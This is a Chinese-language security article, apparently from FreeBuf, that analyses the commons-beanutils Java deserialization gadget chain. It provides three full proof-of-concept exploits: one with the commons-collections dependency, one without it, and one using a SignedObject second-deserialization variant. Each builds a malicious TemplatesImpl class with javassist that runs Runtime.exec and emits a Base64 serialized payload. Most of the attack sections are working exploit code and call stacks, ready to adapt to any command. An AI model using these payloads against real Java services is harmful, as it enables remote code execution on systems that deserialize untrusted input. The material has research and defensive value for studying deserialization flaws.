commons-beanutils 的三种利用原理构造与POC
2022-10-8 19:3:51 Author: FreeBuf(查看原文) 阅读量:9 收藏

 写在前面 

commons-beanutils 是 Apache 提供的一个用于操作 JAVA bean 的工具包。里面提供了各种各样的工具类,让我们可以很方便的对bean对象的属性进行各种操作。

其中比较常使用的有:

MethodUtils/ConstructorUtils/PropertyUtils/BeanUtils/ConvertUtils等。

 分析 

在之前CC链的分析中就有着一条链是通过java.util.PriorityQueue的readObject来触发的,相信大家都有印象。

主要是通过调用了其comparator的compare方法,进而调用了transform链的调用,看一下之前的调用链。

* Gadget chain: *      ObjectInputStream.readObject() *          PriorityQueue.readObject() *              PriorityQueue.heapify() *                  PriorityQueue.siftDown() *                 PriorityQueue.siftDownUsingComparator() *                     TransformingComparator.compare() *                         InvokerTransformer.transform() *                             Method.invoke() *                                 TemplatesImpl.newTransformer() *                                     TemplatesImpl.getTransletInstance() *                                         Runtime.exec()

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而CB链的思路就是,将其中的comparator替换成commons-beanutils库中的某个comparator,达到我们的目的。我们可以通过Codeql进行查看一下CB库中有哪些Comparator。

存在有一个BeanComparator这个类。

BeanComparator

这个类是用来判断两个Bean是否相等的类,跟进一下构造方法。

在创建类的对象的时候可以为comparator赋予特定的比较器,值得注意的是如果没有设定自定义的comparator,其默认为ComparableComparator对象,当然,在调用链中,将会调用他的compare方法。

在方法中,将会通过调用PropertyUtils.getProperty将会取出两个对象的property属性值,之后调用internalCompare通过在创建BeanComparator对象是创建的比较器。

PropertyUtils

而对于在其中调用的getProperty方法。

接收两个参数 bean (类对象)和 name(属性名),方法会返回这个类的这个属性的值,但是他不是直接通过反射取值,而是通过反射调用getter方法获取属性,进而经过恶意的构造,我们可以触发任意的getter方法。

 构造利用 

依赖CC库

那么我就就可以按照上面分析的思路构造利用了。我们的目标是通过触发任意的getter方法,达到调用TemplatesImpl#getOutputProperties方法执行命令。

首先我们需要创建一个恶意的TemplatesImpl类。

//动态创建字节码String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";ClassPool pool = ClassPool.getDefault();CtClass ctClass = pool.makeClass("EVil");ctClass.makeClassInitializer().insertBefore(cmd);ctClass.setSuperclass(pool.get(AbstractTranslet.class.getName()));byte[] bytes = ctClass.toBytecode();
TemplatesImpl templates = new TemplatesImpl();setFieldValue(templates, "_name", "RoboTerh");setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());setFieldValue(templates, "_bytecodes", new byte[][]{bytes});

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我是通过javassist库进行创建恶意类生成字节码的,同样可以通过创建一个实类进行获取,特别注意的是对于TemplatesImpl利用链来说,其恶意类需要继承AbstractTranslet类。

之后我们创建一个比较器和PriorityQueue类,并将恶意类放入queue属性中。

//创建比较器BeanComparator beanComparator = new BeanComparator();PriorityQueue queue = new PriorityQueue(2, beanComparator);queue.add(1);queue.add(1);
//反射赋值setFieldValue(beanComparator, "property", "outputProperties");setFieldValue(queue, "queue", new Object[]{templates, templates});

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完整的POC。

package pers.cb;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import javassist.CannotCompileException;import javassist.ClassPool;import javassist.CtClass;import javassist.NotFoundException;import org.apache.commons.beanutils.BeanComparator;
import java.io.*;import java.lang.reflect.Field;import java.util.Base64;import java.util.PriorityQueue;
public class CB_withCC { public static void setFieldValue(Object obj, String fieldname, Object value) throws NoSuchFieldException, IllegalAccessException { Field field = obj.getClass().getDeclaredField(fieldname); field.setAccessible(true); field.set(obj, value); } public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, NotFoundException, IOException, CannotCompileException, ClassNotFoundException { //动态创建字节码 String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");"; ClassPool pool = ClassPool.getDefault(); CtClass ctClass = pool.makeClass("EVil"); ctClass.makeClassInitializer().insertBefore(cmd); ctClass.setSuperclass(pool.get(AbstractTranslet.class.getName())); byte[] bytes = ctClass.toBytecode();
TemplatesImpl templates = new TemplatesImpl(); setFieldValue(templates, "_name", "RoboTerh"); setFieldValue(templates, "_tfactory", new TransformerFactoryImpl()); setFieldValue(templates, "_bytecodes", new byte[][]{bytes});
//创建比较器 BeanComparator beanComparator = new BeanComparator(); PriorityQueue queue = new PriorityQueue(2, beanComparator); queue.add(1); queue.add(1);
//反射赋值 setFieldValue(beanComparator, "property", "outputProperties"); setFieldValue(queue, "queue", new Object[]{templates, templates});
//序列化 ByteArrayOutputStream baor = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(baor); oos.writeObject(queue); oos.close(); System.out.println(new String(Base64.getEncoder().encode(baor.toByteArray())));
//反序列化 ByteArrayInputStream bais = new ByteArrayInputStream(baor.toByteArray()); ObjectInputStream ois = new ObjectInputStream(bais); Object o = ois.readObject(); baor.close(); }}

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调用栈。

exec:347, Runtime (java.lang)<clinit>:-1, EVilnewInstance0:-1, NativeConstructorAccessorImpl (sun.reflect)newInstance:62, NativeConstructorAccessorImpl (sun.reflect)newInstance:45, DelegatingConstructorAccessorImpl (sun.reflect)newInstance:423, Constructor (java.lang.reflect)newInstance:442, Class (java.lang)getTransletInstance:455, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)newTransformer:486, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)getOutputProperties:507, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)invoke0:-1, NativeMethodAccessorImpl (sun.reflect)invoke:62, NativeMethodAccessorImpl (sun.reflect)invoke:43, DelegatingMethodAccessorImpl (sun.reflect)invoke:498, Method (java.lang.reflect)invokeMethod:2128, PropertyUtilsBean (org.apache.commons.beanutils)getSimpleProperty:1279, PropertyUtilsBean (org.apache.commons.beanutils)getNestedProperty:809, PropertyUtilsBean (org.apache.commons.beanutils)getProperty:885, PropertyUtilsBean (org.apache.commons.beanutils)getProperty:464, PropertyUtils (org.apache.commons.beanutils)compare:163, BeanComparator (org.apache.commons.beanutils)siftDownUsingComparator:722, PriorityQueue (java.util)siftDown:688, PriorityQueue (java.util)heapify:737, PriorityQueue (java.util)readObject:797, PriorityQueue (java.util)invoke0:-1, NativeMethodAccessorImpl (sun.reflect)invoke:62, NativeMethodAccessorImpl (sun.reflect)invoke:43, DelegatingMethodAccessorImpl (sun.reflect)invoke:498, Method (java.lang.reflect)invokeReadObject:1170, ObjectStreamClass (java.io)readSerialData:2178, ObjectInputStream (java.io)readOrdinaryObject:2069, ObjectInputStream (java.io)readObject0:1573, ObjectInputStream (java.io)readObject:431, ObjectInputStream (java.io)main:57, CB_withCC (pers.cb)

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但是上面的链子存在一个问题,如果我们将CC库的依赖去调用,将不能执行命令,为什么呢?

在前面对BeanComparator的分析中,提到了,在创建类对象的时候,将会判断是否存在有comparator属性值,如果没有将会创建一个ComparableComparator对象。

不幸的是,这个类是存在commons-collections的类,如果没有这个依赖,在反序列化的过程中将会抛出异常。当然同样有着解决的办法!

不依赖CC库

前面提到了,对于没有CC依赖的原因是,默认下的comparator,是CC依赖中的类,如果我们在创建类的时候赋予了一个在JDK或者commons-beanutils依赖中存在的comparator并且实现了Serializable接口就行了。

对于commons-beanutils中,只有BeanComparator这一个类满足,我们查找一下JDK中的类。

存在很多很多,常用的为java.util.Collections$ReverseComparator或者java.lang.String$CaseInsensitiveComparator

我们只需要反射将对应的comparator写入属性中,就不需要依赖CC库了。

//反射赋值setFieldValue(beanComparator, "property", "outputProperties");//下面这两个二选一都可以//setFieldValue(beanComparator, "comparator", String.CASE_INSENSITIVE_ORDER);setFieldValue(beanComparator, "comparator", Collections.reverseOrder());setFieldValue(queue, "queue", new Object[]{templates, templates});

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完整的POC。

package pers.cb;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import javassist.CannotCompileException;import javassist.ClassPool;import javassist.CtClass;import javassist.NotFoundException;import org.apache.commons.beanutils.BeanComparator;
import java.io.*;import java.lang.reflect.Field;import java.util.Base64;import java.util.Collections;import java.util.PriorityQueue;
public class CB_withoutCC { public static void setFieldValue(Object obj, String fieldname, Object value) throws NoSuchFieldException, IllegalAccessException { Field field = obj.getClass().getDeclaredField(fieldname); field.setAccessible(true); field.set(obj, value); } public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, NotFoundException, IOException, CannotCompileException, ClassNotFoundException { //动态创建字节码 String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");"; ClassPool pool = ClassPool.getDefault(); CtClass ctClass = pool.makeClass("Evil"); ctClass.makeClassInitializer().insertBefore(cmd); ctClass.setSuperclass(pool.get(AbstractTranslet.class.getName())); byte[] bytes = ctClass.toBytecode();
TemplatesImpl templates = new TemplatesImpl(); setFieldValue(templates, "_name", "RoboTerh"); setFieldValue(templates, "_tfactory", new TransformerFactoryImpl()); setFieldValue(templates, "_bytecodes", new byte[][]{bytes});
//创建比较器 BeanComparator beanComparator = new BeanComparator(); PriorityQueue<Object> queue = new PriorityQueue<Object>(2, beanComparator); queue.add(1); queue.add(1);
//反射赋值 setFieldValue(beanComparator, "property", "outputProperties"); //下面这两个二选一都可以 //setFieldValue(beanComparator, "comparator", String.CASE_INSENSITIVE_ORDER); setFieldValue(beanComparator, "comparator", Collections.reverseOrder()); setFieldValue(queue, "queue", new Object[]{templates, templates});
//序列化 ByteArrayOutputStream baor = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(baor); oos.writeObject(queue); oos.close(); System.out.println(new String(Base64.getEncoder().encode(baor.toByteArray())));
//反序列化 ByteArrayInputStream bais = new ByteArrayInputStream(baor.toByteArray()); ObjectInputStream ois = new ObjectInputStream(bais); Object o = ois.readObject(); baor.close(); }}

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二次反序列化

同样可以通过二次反序列化的方式触发利用链,在SignedObject#getObject方法中。

能够对类对象的content属性中的数据进行反序列化,如果我们能够添加自定义content属性值,替换成序列化数据,就能够达到恶意目的,我们看看构造方法。

很好,只需要传入一个实现了java.io.Serializable接口的对象做为第一个参数,那么将会将其进行序列化之后将字节传给content属性,那么就可以构造了。

创建一个恶意对象。

PriorityQueue queue1 = getpayload(obj, "outputProperties");

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将这个对象传入SignedObject类中。

KeyPairGenerator kpg = KeyPairGenerator.getInstance("DSA");kpg.initialize(1024);KeyPair kp = kpg.generateKeyPair();SignedObject signedObject = new SignedObject(queue1, kp.getPrivate(), Signature.getInstance("DSA"));

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完整的POC。

package pers.cb;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import javassist.ClassPool;import javassist.CtClass;import org.apache.commons.beanutils.BeanComparator;
import java.io.ByteArrayInputStream;import java.io.ByteArrayOutputStream;import java.io.ObjectInputStream;import java.io.ObjectOutputStream;import java.lang.reflect.Field;import java.security.KeyPair;import java.security.KeyPairGenerator;import java.security.Signature;import java.security.SignedObject;import java.util.Base64;import java.util.PriorityQueue;
public class CB_withoutCC_twice_deserialization { public static void setFieldValue(Object obj, String field, Object value) throws Exception{ Field declaredField = obj.getClass().getDeclaredField(field); declaredField.setAccessible(true); declaredField.set(obj, value); } public static PriorityQueue<Object> getpayload(Object object, String string) throws Exception { BeanComparator beanComparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER); PriorityQueue priorityQueue = new PriorityQueue(2, beanComparator); priorityQueue.add("1"); priorityQueue.add("2"); setFieldValue(beanComparator, "property", string); setFieldValue(priorityQueue, "queue", new Object[]{object, null}); return priorityQueue; } public static void main(String[] args) throws Exception { //生成恶意的bytecodes String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");"; ClassPool classPool = ClassPool.getDefault(); CtClass ctClass = classPool.makeClass("evilexp"); ctClass.makeClassInitializer().insertBefore(cmd); ctClass.setSuperclass(classPool.get(AbstractTranslet.class.getName())); byte[] bytes = ctClass.toBytecode();
TemplatesImpl obj = new TemplatesImpl(); setFieldValue(obj, "_bytecodes", new byte[][]{ bytes }); setFieldValue(obj, "_name", "RoboTerh"); setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
PriorityQueue queue1 = getpayload(obj, "outputProperties");
KeyPairGenerator kpg = KeyPairGenerator.getInstance("DSA"); kpg.initialize(1024); KeyPair kp = kpg.generateKeyPair(); SignedObject signedObject = new SignedObject(queue1, kp.getPrivate(), Signature.getInstance("DSA"));
PriorityQueue queue2 = getpayload(signedObject, "object");
//序列化 ByteArrayOutputStream baor = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(baor); oos.writeObject(queue2); oos.close(); System.out.println(new String(Base64.getEncoder().encode(baor.toByteArray())));
//反序列化 ByteArrayInputStream bais = new ByteArrayInputStream(baor.toByteArray()); ObjectInputStream ois = new ObjectInputStream(bais); Object o = ois.readObject(); baor.close(); }}

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调用栈。

exec:347, Runtime (java.lang)<clinit>:-1, evilexpnewInstance0:-1, NativeConstructorAccessorImpl (sun.reflect)newInstance:62, NativeConstructorAccessorImpl (sun.reflect)newInstance:45, DelegatingConstructorAccessorImpl (sun.reflect)newInstance:423, Constructor (java.lang.reflect)newInstance:442, Class (java.lang)getTransletInstance:455, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)newTransformer:486, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)getOutputProperties:507, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)invoke0:-1, NativeMethodAccessorImpl (sun.reflect)invoke:62, NativeMethodAccessorImpl (sun.reflect)invoke:43, DelegatingMethodAccessorImpl (sun.reflect)invoke:498, Method (java.lang.reflect)invokeMethod:2128, PropertyUtilsBean (org.apache.commons.beanutils)getSimpleProperty:1279, PropertyUtilsBean (org.apache.commons.beanutils)getNestedProperty:809, PropertyUtilsBean (org.apache.commons.beanutils)getProperty:885, PropertyUtilsBean (org.apache.commons.beanutils)getProperty:464, PropertyUtils (org.apache.commons.beanutils)compare:163, BeanComparator (org.apache.commons.beanutils)siftDownUsingComparator:722, PriorityQueue (java.util)siftDown:688, PriorityQueue (java.util)heapify:737, PriorityQueue (java.util)readObject:797, PriorityQueue (java.util)invoke0:-1, NativeMethodAccessorImpl (sun.reflect)invoke:62, NativeMethodAccessorImpl (sun.reflect)invoke:43, DelegatingMethodAccessorImpl (sun.reflect)invoke:498, Method (java.lang.reflect)invokeReadObject:1170, ObjectStreamClass (java.io)readSerialData:2178, ObjectInputStream (java.io)readOrdinaryObject:2069, ObjectInputStream (java.io)readObject0:1573, ObjectInputStream (java.io)readObject:431, ObjectInputStream (java.io)getObject:179, SignedObject (java.security)invoke0:-1, NativeMethodAccessorImpl (sun.reflect)invoke:62, NativeMethodAccessorImpl (sun.reflect)invoke:43, DelegatingMethodAccessorImpl (sun.reflect)invoke:498, Method (java.lang.reflect)invokeMethod:2128, PropertyUtilsBean (org.apache.commons.beanutils)getSimpleProperty:1279, PropertyUtilsBean (org.apache.commons.beanutils)getNestedProperty:809, PropertyUtilsBean (org.apache.commons.beanutils)getProperty:885, PropertyUtilsBean (org.apache.commons.beanutils)getProperty:464, PropertyUtils (org.apache.commons.beanutils)compare:163, BeanComparator (org.apache.commons.beanutils)siftDownUsingComparator:722, PriorityQueue (java.util)siftDown:688, PriorityQueue (java.util)heapify:737, PriorityQueue (java.util)readObject:797, PriorityQueue (java.util)invoke0:-1, NativeMethodAccessorImpl (sun.reflect)invoke:62, NativeMethodAccessorImpl (sun.reflect)invoke:43, DelegatingMethodAccessorImpl (sun.reflect)invoke:498, Method (java.lang.reflect)invokeReadObject:1170, ObjectStreamClass (java.io)readSerialData:2178, ObjectInputStream (java.io)readOrdinaryObject:2069, ObjectInputStream (java.io)readObject0:1573, ObjectInputStream (java.io)readObject:431, ObjectInputStream (java.io)main:70, CB_withoutCC_twice_deserialization (pers.cb)

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